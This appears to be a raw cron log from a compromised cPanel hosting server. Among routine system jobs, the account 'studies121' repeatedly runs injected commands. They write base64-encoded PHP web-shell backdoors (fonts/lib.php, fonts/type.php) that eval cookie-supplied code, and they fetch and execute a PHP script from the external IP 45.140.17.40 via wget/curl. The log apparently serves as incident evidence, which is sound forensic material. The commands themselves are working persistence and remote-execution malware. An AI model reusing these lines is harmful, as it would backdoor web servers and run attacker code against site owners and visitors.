Sep  2 02:45:01 ip-184-168-122-23 CROND[30567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:45:01 ip-184-168-122-23 CROND[30566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:45:01 ip-184-168-122-23 CROND[30568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:45:01 ip-184-168-122-23 CROND[30570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:46:01 ip-184-168-122-23 CROND[30675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:46:01 ip-184-168-122-23 CROND[30677]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 02:46:01 ip-184-168-122-23 CROND[30679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:46:01 ip-184-168-122-23 CROND[30680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:46:01 ip-184-168-122-23 CROND[30681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:46:01 ip-184-168-122-23 CROND[30682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:46:01 ip-184-168-122-23 CROND[30678]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 02:47:01 ip-184-168-122-23 CROND[30770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:47:01 ip-184-168-122-23 CROND[30771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:47:01 ip-184-168-122-23 CROND[30773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:47:01 ip-184-168-122-23 CROND[30772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:48:01 ip-184-168-122-23 CROND[30859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:48:01 ip-184-168-122-23 CROND[30862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:48:01 ip-184-168-122-23 CROND[30864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:48:01 ip-184-168-122-23 CROND[30861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:48:01 ip-184-168-122-23 CROND[30863]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:49:01 ip-184-168-122-23 CROND[30951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:49:01 ip-184-168-122-23 CROND[30953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:49:01 ip-184-168-122-23 CROND[30954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:49:01 ip-184-168-122-23 CROND[30955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:50:01 ip-184-168-122-23 CROND[31138]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 02:50:01 ip-184-168-122-23 CROND[31139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:50:01 ip-184-168-122-23 CROND[31142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:50:01 ip-184-168-122-23 CROND[31144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:50:01 ip-184-168-122-23 CROND[31149]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:50:01 ip-184-168-122-23 CROND[31148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:50:01 ip-184-168-122-23 CROND[31146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:50:01 ip-184-168-122-23 CROND[31145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:50:01 ip-184-168-122-23 CROND[31147]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 02:51:01 ip-184-168-122-23 CROND[31246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:51:01 ip-184-168-122-23 CROND[31248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:51:01 ip-184-168-122-23 CROND[31249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:51:01 ip-184-168-122-23 CROND[31251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:52:01 ip-184-168-122-23 CROND[31337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:52:01 ip-184-168-122-23 CROND[31339]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:52:01 ip-184-168-122-23 CROND[31342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:52:01 ip-184-168-122-23 CROND[31340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:52:01 ip-184-168-122-23 CROND[31341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:53:01 ip-184-168-122-23 CROND[31424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:53:01 ip-184-168-122-23 CROND[31425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:53:01 ip-184-168-122-23 CROND[31426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:53:01 ip-184-168-122-23 CROND[31427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:54:01 ip-184-168-122-23 CROND[31568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:54:01 ip-184-168-122-23 CROND[31570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:54:01 ip-184-168-122-23 CROND[31571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:54:01 ip-184-168-122-23 CROND[31573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:54:01 ip-184-168-122-23 CROND[31572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:55:01 ip-184-168-122-23 CROND[31663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:55:01 ip-184-168-122-23 CROND[31664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 02:55:01 ip-184-168-122-23 CROND[31669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:55:01 ip-184-168-122-23 CROND[31668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:55:01 ip-184-168-122-23 CROND[31670]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 02:55:01 ip-184-168-122-23 CROND[31667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:56:01 ip-184-168-122-23 CROND[31765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:56:01 ip-184-168-122-23 CROND[31767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:56:01 ip-184-168-122-23 CROND[31770]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:56:01 ip-184-168-122-23 CROND[31768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:56:01 ip-184-168-122-23 CROND[31769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:57:01 ip-184-168-122-23 CROND[31948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
